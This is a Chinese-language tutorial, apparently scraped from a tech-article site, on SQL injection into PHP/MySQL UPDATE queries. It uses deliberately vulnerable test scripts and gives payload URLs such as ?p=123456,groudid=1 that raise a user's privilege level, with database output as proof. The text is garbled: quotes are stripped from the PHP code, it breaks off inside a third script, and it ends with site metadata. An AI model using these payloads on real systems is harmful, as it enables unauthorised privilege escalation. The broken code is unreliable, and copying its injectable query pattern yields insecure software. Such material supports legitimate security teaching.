一.测试环境:
os: windowsxp sp2
php: php 4.3.10 (
mysql 4.1.9
apache 1.3.33
二.测试数据库结构:
-----start---
-- 数据库: `test`
--
-- --------------------------------------------------------
--
-- 表的结构 `userinfo`
--
create table `userinfo` (
`groudid` varchar(12) not null default ’1’,
`user` varchar(12) not null default ’heige’,
`pass` varchar(122) not null default ’123456’
) engine=myisam default charset=latin1;
--
-- 导出表中的数据 `userinfo`
--
insert into `userinfo` values (’2’, ’heige’, ’123456’);
------end-------
三.测试模式:
1,变量没有带’’或[mod1]
//test1.php mod1
$servername = localhost;
$dbusername = root;
$dbpassword = ;
$dbname = test;
mysql_connect($servername,$dbusername,$dbpassword) or die (数据库连接失败);
$sql = update userinfo set pass=$p where user=’heige’;//
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo sql query:$sql
;
?>
脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达
到修改groupid的目的:
那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查询:mysql> select * from userinfo;
+---------+-------+--------+
| groudid | user | pass |
+---------+-------+--------+
| 1 | heige | 123456 |
+---------+-------+--------+
1 row in set (0.01 sec)
用户heige的groudid又2改为1了 :)
所以我们可以得到没有’’或 update的注射是可以成功的,这个就是我们的模式1。
2,变量带’’或[mod2]
//test2.php
$servername = localhost;
$dbusername = root;
$dbpassword = ;
$dbname = test;
mysql_connect($servername,$dbusername,$dbpassword) or die (数据库连接失败);
$sql = update userinfo set pass=’$p’ where user=’heige’;//
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo sql query:$sql
;
?>
为了关闭’我们构造$p应该为123456’,groudid=’2 提交:
http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了’
提交的语句变成:sql query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’
mysql查询:
mysql> select * from userinfo;
+---------+-------+--------------------+
| groudid | user | pass |
+---------+-------+--------------------+
| 2 | heige | 123456’,groudid=’1 |
+---------+-------+--------------------+
1 row in set (0.00 sec)
groudid并没有被修改。那么在变量被’’或时 就完全没有被注射呢?不是 下面我们看模式2:
//test3.php mod2
$servername = localhost;
$dbusername = root;
$dbpassword = ;
http://www.bkjia.com/phpjc/508502.htmlwww.bkjia.comtruehttp://www.bkjia.com/phpjc/508502.htmltecharticle一.测试环境: os:windowsxpsp2 php:php4.3.10( mysql4.1.9 apache1.3.33 二.测试数据库结构: -----start--- --数据库:`test` -- ----------------------------------------...